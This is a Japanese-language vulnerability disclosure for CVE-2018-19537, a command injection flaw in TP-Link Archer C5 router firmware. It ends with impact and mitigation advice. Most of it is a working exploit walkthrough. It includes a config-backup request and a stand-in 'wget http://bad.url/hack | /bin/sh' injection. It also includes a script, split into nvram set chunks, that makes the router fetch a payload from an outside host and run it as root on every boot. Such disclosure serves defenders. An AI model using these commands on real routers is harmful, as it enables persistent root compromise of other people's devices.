
CVE-2018-19537
TP-Link Archer C5 ルーターの公開されている全ファームウェアバージョンに、認証済みリモートコード実行 (RCE) の脆弱性が存在します。悪意を持って細工された設定ファイルをアップロードすることにより、攻撃者は root 権限で実行される OS コマンドを注入できます。
Archer C5 ルーターは、管理者ユーザーが現在の設定パラメータをファイルに保存したり、ファイルからパラメータを復元したりすることを許可します。
これらのパラメータは、ユーザーが Web GUI 内で設定しようとする場合には適切にサニタイズされているように見えます。
しかし、設定ファイルから設定された場合には、適切にサニタイズされません。
特に、アップロードされた設定ファイル内の wan_dyn_hostname 1 <name> パラメータを介して OS コマンドを注入しました。
他のパラメータも脆弱である可能性があります。
有効な設定ファイルは、ルーターの Web GUI の「Backup & Restore」メニューからダウンロードできます。次の HTTP リクエストは、ルーターの現在の設定のバックアップをダウンロードします:
GET /userRpm/config.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm
Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D
Connection: close
Upgrade-Insecure-Requests: 1
レスポンスには、改ざん対象となる設定ファイル「config.bin」が含まれます。
設定ファイルは、ハードコードされたキーで DES 暗号化することにより難読化されます。このハードコードされたキーは、複数の TP-Link 製品間で再利用されているようです。このハードコードされたキー値を発見した Matteo Croce に感謝します。 http://teknoraver.net/software/hacks/tplink/
設定ファイルを暗号化および復号化するための2つのシンプルな Python スクリプトが添付されています - それぞれ「binify.py」と「unbinify.py」です。復号化された設定ファイルには、次のようなパラメータが含まれます:
wan_dns_auto 2 0
wan_dyn_mtu 1 1500
wan_dyn_mtu 2 0
wan_dyn_ucst 1 0
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
wan_stc_ip 2 0.0.0.0
wan_stc_msk 1 0.0.0.0
この復号化された設定ファイルを改ざんし、「wan_dyn_hostname」パラメータに悪意ある BusyBox コマンドを追加することができます。例:
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`
次に、新しい悪意ある設定ファイルを暗号化し、Web GUI を介してアップロードします。ルーターは自動的に再起動します。起動プロセスの初期段階で httpd プログラムが実行されると、悪意ある BusyBox コマンドが実行されます。httpd の関連部分の疑似コードは次のようなものです:
char hostname[64];
char to_run[256];
memcpy(hostname, some_value_somewhere, 63);
snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname)
system(to_run);
// Continue setting up network interfaces and connectivity
このエクスプロイトには、BusyBox を使用しなければならないという制限以外にも、いくつかの制限があります。Dropbear SSH サーバーと telnetd はワイヤレス LAN 上では動作しないようです。また、ホスト名はファームウェアによって63文字に制限されています。この制限を超えると、他の設定が上書きされ、インターネットアクセスが破壊されます。さらに、httpd は実際にネットワーク接続を持つ前に system() 呼び出しから戻らなければなりません(悪用する system() 呼び出しは WAN IP を要求する呼び出しです)。また、ルートファイルシステムは読み取り専用です。上記の悪意あるコマンドの例は機能しません。httpd はまだインターネットアクセスがないため URL を wget できず、system() 呼び出しから戻って、その後は通常どおり動作を続けます。
したがって、この時点では、読み取り専用ファイルシステム上で63文字の BusyBox コマンドを実行できますが、ネットワーク接続のセットアップが完了するまでプログラムを待機させてからコマンドを実行する簡単な方法はありません。数分間スリープしてから実行するように指示するだけでは不十分です。なぜなら、注入対象の system() 呼び出しは実行をブロックするからです。
しかし、実行のこの時点で httpd の別のインスタンスを起動することはできます。この httpd のインスタンスもこの system() 呼び出しを実行するため、httpd のインスタンスを連続的に生成し続けるループになりますが、親の httpd プロセスは実行を継続し、最終的にネットワーク接続を復元できます。メモリ不足を避けるため、エクスプロイトがダウンロードされたかどうかを確認して、このループを終了します。
上記の制限内で動作するように、以下のシェルスクリプトを作成しました。これは wget でインターネットからファイルを取得し、そのまま /bin/sh にパイプします。
cd /tmp
if [ ! -f B ]; then
httpd &
sleep 15
wget http://jackdoan.com/B
/bin/sh B
fi
または、1行に圧縮すると:
cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi
このスクリプトは89文字と非常に長いため、チャンクに分割してアップロードする必要があります。しかし、どうやって? コマンドをアップロードすると再起動が発生し、再起動によってルーターの状態がリセットされます。独自の NVRAM 変数を作成し、後続のコマンドでそれを参照して、最終的に実行するコマンドを構築できることに気付きました。
この脆弱性を利用して、以下のコマンドを注入し、エクスプロイトを構築しました:
; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit
; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit
; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit
; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit
そして最後に、ホスト名を次のように設定してエクスプロイトをトリガーします:
; udhcpc; nvram get a | /bin/sh ;
ルーターの NVRAM に保存されたこのスクリプトは、起動のたびに実行され、ルーターは正常に動作し続けているように見えます。最終結果として、ルーターは起動のたびにインターネットに接続し、ファイルをダウンロードして root として実行します。
示したとおり、この脆弱性を悪用すると、ルーターにインターネット経由で接続させ、ペイロードを取得させ、root 権限で実行させることができます。したがって、デバイスの機密性、完全性、可用性に大きな影響があります。
設定ファイルの wan_dyn_hostname パラメータを介してコマンドを注入するプロセスは簡単です。このコマンドの制限を回避して、ルーターの通常の機能を妨げずに任意のペイロードを実行することは、中程度の複雑さです。
この攻撃は、デバイスの再起動が少なくとも1回必要であるため、中程度の可視性があります。私たちの POC は5回の連続した再起動を必要としますが、デバイスが工場出荷時設定にリセットされるまで永続します。
この脆弱性は、Web 管理アカウントにアクセスできる人なら誰でも悪用できます。したがって、ルーターのデフォルト設定では、デフォルトの管理者認証情報「admin:admin」を使用して、LAN / WLAN 接続経由で悪用できます。リモート管理が有効になっている場合、この脆弱性はインターネットを介してリモートでも悪用できます。リモート管理はデフォルトでは無効です。
この脆弱性は比較的単純であり、以前にも発見され悪用されてきた可能性が高いと考えられます。この攻撃に対する防御も非常に簡単です: デフォルトの管理者パスワードを使用しないことです。Web 管理アカウントに強力なパスワードを設定すれば、この攻撃を防ぐことができます。悪用が非常に簡単で、緩和も非常に簡単であるため、完全な開示が公共の利益にかなうと考えます。
私たちの PoC では、「wan_dyn_hostname」パラメータを介して注入しました。ただし、設定ファイルには合計1190のパラメータが含まれており、その多くが注入可能である可能性があります。